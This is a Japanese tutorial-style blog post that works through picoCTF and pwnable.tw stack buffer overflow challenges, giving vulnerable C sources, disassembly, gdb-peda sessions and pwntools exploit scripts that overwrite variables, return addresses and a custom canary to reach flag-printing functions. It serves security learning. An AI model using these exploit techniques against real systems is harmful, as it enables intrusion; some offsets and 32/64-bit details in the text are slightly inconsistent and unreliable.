0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Pwnable - 典型問題 (Stack Overflow編)

Last updated at Posted at 2024-04-17

Pwnable - 典型問題シリーズ

  1. Stack Overflow編 (本記事)
  2. ROP編
  3. Heap Exploit編
  4. FSB編
  5. その他編

目次

local-target

何とかして、numを65にしたい。ここで、gets関数が書き込み対象の配列サイズをチェックせずに、入力データを書き込むことに注意すると、スタックをオーバーフローさせることでnumを改変させることができそう。

#include <stdio.h>
#include <stdlib.h>



int main(){
  FILE *fptr;
  char c;

  char input[16];
  int num = 64;
  
  printf("Enter a string: ");
  fflush(stdout);
  gets(input);
  printf("\n");
  
  printf("num is %d\n", num);
  fflush(stdout);
  
  if( num == 65 ){
    printf("You win!\n");
    fflush(stdout);
    // Open file
    fptr = fopen("flag.txt", "r");
    if (fptr == NULL)
    {
        printf("Cannot open file.\n");
        fflush(stdout);
        exit(0);
    }

    // Read contents from file
    c = fgetc(fptr);
    while (c != EOF)
    {
        printf ("%c", c);
        c = fgetc(fptr);
    }
    fflush(stdout);

    printf("\n");
    fflush(stdout);
    fclose(fptr);
    exit(0);
  }
  
  printf("Bye!\n");
  fflush(stdout);
}

numがスタックのどこに位置しているかを、アセンブリで確認してみる。

# 逆アセンブリ
objdump -d local-target
0000000000401236 <main>:
  401236:	f3 0f 1e fa          	endbr64 
  40123a:	55                   	push   %rbp
  40123b:	48 89 e5             	mov    %rsp,%rbp
  40123e:	48 83 ec 20          	sub    $0x20,%rsp
  401242:	c7 45 f8 40 00 00 00 	movl   $0x40,-0x8(%rbp)        # numに64を代入
  401249:	48 8d 3d b4 0d 00 00 	lea    0xdb4(%rip),%rdi        # 402004 <_IO_stdin_used+0x4>
  401250:	b8 00 00 00 00       	mov    $0x0,%eax
  401255:	e8 96 fe ff ff       	call   4010f0 <printf@plt>
  40125a:	48 8b 05 0f 2e 00 00 	mov    0x2e0f(%rip),%rax        # 404070 <stdout@GLIBC_2.2.5>
  401261:	48 89 c7             	mov    %rax,%rdi
  401264:	e8 b7 fe ff ff       	call   401120 <fflush@plt>
  401269:	48 8d 45 e0          	lea    -0x20(%rbp),%rax
  40126d:	48 89 c7             	mov    %rax,%rdi
  401270:	b8 00 00 00 00       	mov    $0x0,%eax
  401275:	e8 96 fe ff ff       	call   401110 <gets@plt>        # stack overflowの危険
  40127a:	bf 0a 00 00 00       	mov    $0xa,%edi

スタックの中身は以下のようになっている。

|___________|
|           | <- `input`のスタート位置
| 0x20 byte |
|           |
|           | <- `num` is stored in -0x8(%rbp)
|___________|
|    rbp    |

from pwn import *
import binascii

context.log_level = 'error'

# r = process("./local-target")
r = remote("saturn.picoctf.net", 61750)
r.recvuntil(b"Enter a string:")
# 0x20 - 0x8 = 
r.sendline(b"A"*24 + p64(65))
r.recvall()

clutter-overflow

clutterをオーバーフローさせて、codeGOALと同じ値にする。

#include <stdio.h>
#include <stdlib.h>

#define SIZE 0x100
#define GOAL 0xdeadbeef

const char* HEADER = 
" ______________________________________________________________________\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ /                  \\^ ^ |\n"
"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ /   \\ ^ _ ^ / |                | \\^ ^|\n"
"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | //  | /_\\ ^| |   ____  ____   | | ^ |\n"
"|^ =|= ^ =================^ ^=|=^|     |^=|=^ | |  {____}{____}  | |^ ^|\n"
"| ^ ^ ^ ^ |  =========  |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
"|^ ^ ^ ^ ^| /     (   \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/  %%%%%%%%%%%%%%  \\|^ ^|\n"
".-----. ^ ||     )     ||^ ^.-------.-------.^|  %%%%%%%%%%%%%%%%  | ^ |\n"
"|     |^ ^|| o  ) (  o || ^ |       |       | | /||||||||||||||||\\ |^ ^|\n"
"| ___ | ^ || |  ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|==                    =====\n"
"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"  \n"
"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";

int main(void)
{
  long code = 0;
  char clutter[SIZE];

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);
 	
  puts(HEADER); 
  puts("My room is so cluttered...");
  puts("What do you see?");

  gets(clutter);


  if (code == GOAL) {
    printf("code == 0x%llx: how did that happen??\n", GOAL);
    puts("take a flag for your troubles");
    system("cat flag.txt");
  } else {
    printf("code == 0x%llx\n", code);
    printf("code != 0x%llx :(\n", GOAL);
  }

  return 0;
}

main関数の最初の2行に相当するアセンブリは以下の通り。

00000000004006c7 <main>:
  4006c7:	55                   	push   %rbp
  4006c8:	48 89 e5             	mov    %rsp,%rbp
  4006cb:	48 81 ec 10 01 00 00 	sub    $0x110,%rsp
  4006d2:	48 c7 45 f8 00 00 00 	movq   $0x0,-0x8(%rbp)

つまり、スタックの中身は以下のようになっている。

-------------------

      clutter
(0x110 - 0x8バイト)

-------------------
       code
    (0x88バイト)
-------------------
       rbp
-------------------

よって、解答は以下の通り。

from pwn import *

r = process("./chall")
r = remote("mars.picoctf.net", 31890)
r.recvuntil(b"What do you see?")
r.sendline(b"A"*(0x110 - 0x8) + p64(0xdeadbeef))
r.recvall()

buffer-overflow-0

sissegv_handlerはSIGSEGVのシグナルハンドラとして登録されているので、segfaultを起こせば、フラグを出力するsissegv_handlerを呼び出すことができる。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
  
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1); 
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

buffer-overflow-1

vulnにはスタックオーバフローの脆弱性があるので、この脆弱性を利用してvulnのリターンアドレスをwinに変える。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}
08049281 <vuln>:
 8049281:	f3 0f 1e fb          	endbr32 
 8049285:	55                   	push   %ebp
 8049286:	89 e5                	mov    %esp,%ebp
 8049288:	53                   	push   %ebx
 8049289:	83 ec 24             	sub    $0x24,%esp
 804928c:	e8 9f fe ff ff       	call   8049130 <__x86.get_pc_thunk.bx>
 8049291:	81 c3 6f 2d 00 00    	add    $0x2d6f,%ebx
 8049297:	83 ec 0c             	sub    $0xc,%esp
 804929a:	8d 45 d8             	lea    -0x28(%ebp),%eax
 804929d:	50                   	push   %eax
 804929e:	e8 ad fd ff ff       	call   8049050 <gets@plt>
 80492a3:	83 c4 10             	add    $0x10,%esp
 80492a6:	e8 93 00 00 00       	call   804933e <get_return_address>
 80492ab:	83 ec 08             	sub    $0x8,%esp
 80492ae:	50                   	push   %eax
 80492af:	8d 83 64 e0 ff ff    	lea    -0x1f9c(%ebx),%eax
 80492b5:	50                   	push   %eax
 80492b6:	e8 85 fd ff ff       	call   8049040 <printf@plt>
 80492bb:	83 c4 10             	add    $0x10,%esp
 80492be:	90                   	nop
 80492bf:	8b 5d fc             	mov    -0x4(%ebp),%ebx
 80492c2:	c9                   	leave  
 80492c3:	c3                   	ret   

getを呼び出す直前のスタックは以下の通り

--------------------- <- esp
      0xc bytes
--------------------- <- bufの先頭

     0x24 bytes

---------------------
saved rbp (0x8 bytes)
---------------------
   return address
---------------------
win_addr = 0x80491f6

r = process("./vuln")
r.recvuntil(b"Please enter your string:")
r.sendline(b"A"*44+p64(win_addr))
r.recvall()

buffer-overflow-2

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

アーキテクチャは32ビットであることに注意。

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

vulnのリターンアドレスをwinのアドレスに書き換え、かつwinに渡される二つの引数を0xCAFEF00Dと0xF00DF00Dにすればよい。

まず、gdb-pedaを使ってvuln内のbufからリターンアドレスまでのオフセットを求める。

gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ pattern create 200 dummyinput

gdb-peda$ run < dummyinput
Starting program: /picoctf/buffer-overflow-2/vuln < dummyinput
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Please enter your string:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
[----------------------------------registers-----------------------------------]
EAX: 0xc9
EBX: 0x804c000 --> 0x804bf10 --> 0x1
ECX: 0xf7fa79b4 --> 0x0
EDX: 0x1
ESI: 0xffffcca4 --> 0xffffcdea 
EDI: 0xf7ffcb80 --> 0x0
EBP: 0xffffcbb8 ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
ESP: 0xffffcb40 --> 0xf7fa6da0 --> 0xfbad2887
EIP: 0x804936c (<vuln+52>:      nop)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049363 <vuln+43>: push   eax
   0x8049364 <vuln+44>: call   0x8049120 <puts@plt>
   0x8049369 <vuln+49>: add    esp,0x10
=> 0x804936c <vuln+52>: nop
   0x804936d <vuln+53>: mov    ebx,DWORD PTR [ebp-0x4]
   0x8049370 <vuln+56>: leave
   0x8049371 <vuln+57>: ret
   0x8049372 <main>:    endbr32
[------------------------------------stack-------------------------------------]
0000| 0xffffcb40 --> 0xf7fa6da0 --> 0xfbad2887
0004| 0xffffcb44 --> 0xf7fa6de7 --> 0xfa79b40a
0008| 0xffffcb48 --> 0x1
0012| 0xffffcb4c ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffcb50 ("AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffcb54 ("ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffcb58 ("$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffcb5c ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804936c in vuln () # vulnの終了直前にブレークポイントを置いた
gdb-peda$ pattern offset MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA found at offset: 108

ebp(関数を最初に読んだ時のスタックの底を表す)までのオフセットが108であり、リターンアドレスはその一つしたにあるはずなので、108 (ebpまでのオフセット) + 4 (ebp自身) = 112バイト分のパディングをすればよい。

32ビットでは関数の引数はすべてスタックの上から読み込まれるので、winに渡したい値をさらにその下に配置する。

from pwn import *

offset = 108 + 4 #112
win_addr = 0x08049296
argv1 = 0xCAFEF00D
argv2 = 0xF00DF00D


r = process("./vuln")
r.recvuntil(b"Please enter your string:")
r.sendline(b"A"*offset + p32(win_addr) + p32(0x1) + p32(argv1) + p32(argv2))
print(r.recvline())
print(r.recvline())

buffer-overflow-3

これまでとは異なり、カナリアを用いたオーバーフロー検知を回避する必要がある。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    fflush(stdout);
    exit(0);
  }

  fgets(buf,FLAGSIZE,f); // size bound read
  puts(buf);
  fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'canary.txt' in this directory with your",
                    "own debugging canary.\n");
    fflush(stdout);
    exit(0);
  }

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
      fflush(stdout);
      exit(0);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  read_canary();
  vuln();
  return 0;
}

buffer-overflow-2と同様に、まずはbufからリターンアドレスまでのオフセットを求める。

gdb-peda$ run
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
How Many Bytes will You Write Into the Buffer?
> 200
Input> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0xc8
EBX: 0x804c000 --> 0x804bf10 --> 0x1
ECX: 0xffffcb68 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EDX: 0xc8
ESI: 0xffffcca4 --> 0xffffcde4
EDI: 0xf7ffcb80 --> 0x0
EBP: 0xffffcbb8 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
ESP: 0xffffcb10 --> 0x0
EIP: 0x8049549 (<vuln+192>:     add    esp,0x10)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049541 <vuln+184>:        push   eax
   0x8049542 <vuln+185>:        push   0x0
   0x8049544 <vuln+187>:        call   0x8049130 <read@plt>
=> 0x8049549 <vuln+192>:        add    esp,0x10
   0x804954c <vuln+195>:        sub    esp,0x4
   0x804954f <vuln+198>:        push   0x4
   0x8049551 <vuln+200>:        mov    eax,0x804c054
   0x8049557 <vuln+206>:        push   eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcb10 --> 0x0
0004| 0xffffcb14 --> 0xffffcb68 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffcb18 --> 0xc8
0012| 0xffffcb1c --> 0x804949c (<vuln+19>:      add    ebx,0x2b64)
0016| 0xffffcb20 --> 0x804d1a0 --> 0x804d
0020| 0xffffcb24 --> 0xc8
0024| 0xffffcb28 ("200\n")
0028| 0xffffcb2c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08049549 in vuln ()
gdb-peda$
gdb-peda$ pattern offset AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA found at offset: 80

小ネタ: gdb-pedaでは以下のようにして、任意のアドレスやその近傍の中身を表示できる。

gdb-peda$ x/-10xw $ebp
0xffffcb90:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffcba0:     0x61616161      0x61616161      0x41414141      0x61616161
0xffffcbb0:     0x61616161      0x61616161

ebpまでのオフセットが80なので、リターンアドレスを書き換えるために必要なパディングは84バイトである。

またカナリア用の領域を確保した上で、64バイト分のbufを確保しているので、bufからカナリアまでのオフセットは64バイトである。

カナリアがちょうど4バイトなので、仮にカナリアが判明していると仮定すると、以下のスクリプトでフラグを表示できる。

win_addr = 0x08049336
query = b"a"*64 + carnary + b"a" * 16 + p32(win_addr)

print(query, len(query))

r = process("./vuln")
print(r.recvuntil(b">"))
r.sendline(b"88")
print(r.recvuntil(b">"))
r.sendline(query)
print(r.recvline())
print(r.recvline())

カナリアは高々4バイトなので、グリーディーもしくはブルートフォースで試していけばよい。

start

ソースコードは配布されていないので、まずバイナリを逆アセンブリする。

start:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:       54                      push   %esp
 8048061:       68 9d 80 04 08          push   $0x804809d
 8048066:       31 c0                   xor    %eax,%eax
 8048068:       31 db                   xor    %ebx,%ebx
 804806a:       31 c9                   xor    %ecx,%ecx
 804806c:       31 d2                   xor    %edx,%edx
 804806e:       68 43 54 46 3a          push   $0x3a465443
 8048073:       68 74 68 65 20          push   $0x20656874
 8048078:       68 61 72 74 20          push   $0x20747261
 804807d:       68 73 20 73 74          push   $0x74732073
 8048082:       68 4c 65 74 27          push   $0x2774654c
 8048087:       89 e1                   mov    %esp,%ecx
 8048089:       b2 14                   mov    $0x14,%dl
 804808b:       b3 01                   mov    $0x1,%bl
 804808d:       b0 04                   mov    $0x4,%al
 804808f:       cd 80                   int    $0x80
 8048091:       31 db                   xor    %ebx,%ebx
 8048093:       b2 3c                   mov    $0x3c,%dl
 8048095:       b0 03                   mov    $0x3,%al
 8048097:       cd 80                   int    $0x80   
 8048099:       83 c4 14                add    $0x14,%esp
 804809c:       c3                      ret

0804809d <_exit>:
 804809d:       5c                      pop    %esp
 804809e:       31 c0                   xor    %eax,%eax
 80480a0:       40                      inc    %eax
 80480a1:       cd 80                   int    $0x80

以下の部分でスタックに文字列"Let's start the CTF:"をスタックに積んでる。

 804806e:       68 43 54 46 3a          push   $0x3a465443
 8048073:       68 74 68 65 20          push   $0x20656874
 8048078:       68 61 72 74 20          push   $0x20747261
 804807d:       68 73 20 73 74          push   $0x74732073
 8048082:       68 4c 65 74 27          push   $0x2774654c

この時、スタックは以下のようになっている。

|------------------------| <- esp
| "Let's start the CTF:" |
|       (20 bytes)       |
|------------------------|
|       $0x804809d       | <- return address (poiting to `_exit`)
|------------------------|
| startに入ったときのesp  |
|------------------------| <- start時のesp

以下の部分で、"Let's start the CTF:"を標準(0x1)出力(コード=0x4)している。

 8048087:       89 e1                   mov    %esp,%ecx
 8048089:       b2 14                   mov    $0x14,%dl
 804808b:       b3 01                   mov    $0x1,%bl
 804808d:       b0 04                   mov    $0x4,%al
 804808f:       cd 80                   int    $0x80
レジスタ	  値	
    eax	4	    システムコール番号
    ebx	1	    write()の第1引数 - 出力先ファイルディスクリプタ。標準出力は1
    ecx $esp	write()の第2引数 - 出力するデータのアドレス
    edx	0x14	write()の第3引数 - 出力するデータのサイズ

以下の部分で、0x3c=60バイト分の読み込み(コード=0x3)を行っている。

 8048093:       b2 3c                   mov    $0x3c,%dl
 8048095:       b0 03                   mov    $0x3,%al
 8048097:       cd 80                   int    $0x80

linuxではASLRがデフォルトで有効になっているので、$espの値は毎回変わる。ちなみに、gdbでバイナリを実行するとASLRをデフォルトで無効にするので、明示的にオフにする必要がある。

gdb-peda$ set disable-randomization off
gdb-peda$ b *0x8048066
Breakpoint 1 at 0x8048066
gdb-peda$ r
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x0
EDX: 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffa81f28 --> 0x804809d (<_exit>: pop    esp)
EIP: 0x8048066 (<_start+6>:     xor    eax,eax)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804805e:   add    BYTE PTR [eax],al
   0x8048060 <_start>:  push   esp
   0x8048061 <_start+1>:        push   0x804809d
=> 0x8048066 <_start+6>:        xor    eax,eax
   0x8048068 <_start+8>:        xor    ebx,ebx
   0x804806a <_start+10>:       xor    ecx,ecx
   0x804806c <_start+12>:       xor    edx,edx
   0x804806e <_start+14>:       push   0x3a465443
[------------------------------------stack-------------------------------------]
0000| 0xffa81f28 --> 0x804809d (<_exit>:        pop    esp)
0004| 0xffa81f2c --> 0xffa81f30 --> 0x1
0008| 0xffa81f30 --> 0x1
0012| 0xffa81f34 --> 0xffa83e1b
0016| 0xffa81f38 --> 0x0
0020| 0xffa81f3c --> 0xffa83e55 ("SHELL=/bin/bash")
0024| 0xffa81f40 --> 0xffa83e65 ("WSL_DISTRO_NAME=Ubuntu")
0028| 0xffa81f44 --> 0xffa83e7c ("NAME=DESKTOP-04DSEHM")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048066 in _start ()
gdb-peda$ r
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x0
EDX: 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xff890948 --> 0x804809d (<_exit>: pop    esp)
EIP: 0x8048066 (<_start+6>:     xor    eax,eax)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804805e:   add    BYTE PTR [eax],al
   0x8048060 <_start>:  push   esp
   0x8048061 <_start+1>:        push   0x804809d
=> 0x8048066 <_start+6>:        xor    eax,eax
   0x8048068 <_start+8>:        xor    ebx,ebx
   0x804806a <_start+10>:       xor    ecx,ecx
   0x804806c <_start+12>:       xor    edx,edx
   0x804806e <_start+14>:       push   0x3a465443
[------------------------------------stack-------------------------------------]
0000| 0xff890948 --> 0x804809d (<_exit>:        pop    esp)
0004| 0xff89094c --> 0xff890950 --> 0x1
0008| 0xff890950 --> 0x1
0012| 0xff890954 --> 0xff891e1b
0016| 0xff890958 --> 0x0
0020| 0xff89095c --> 0xff891e55 ("SHELL=/bin/bash")
0024| 0xff890960 --> 0xff891e65 ("WSL_DISTRO_NAME=Ubuntu")
0028| 0xff890964 --> 0xff891e7c ("NAME=DESKTOP-04DSEHM")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

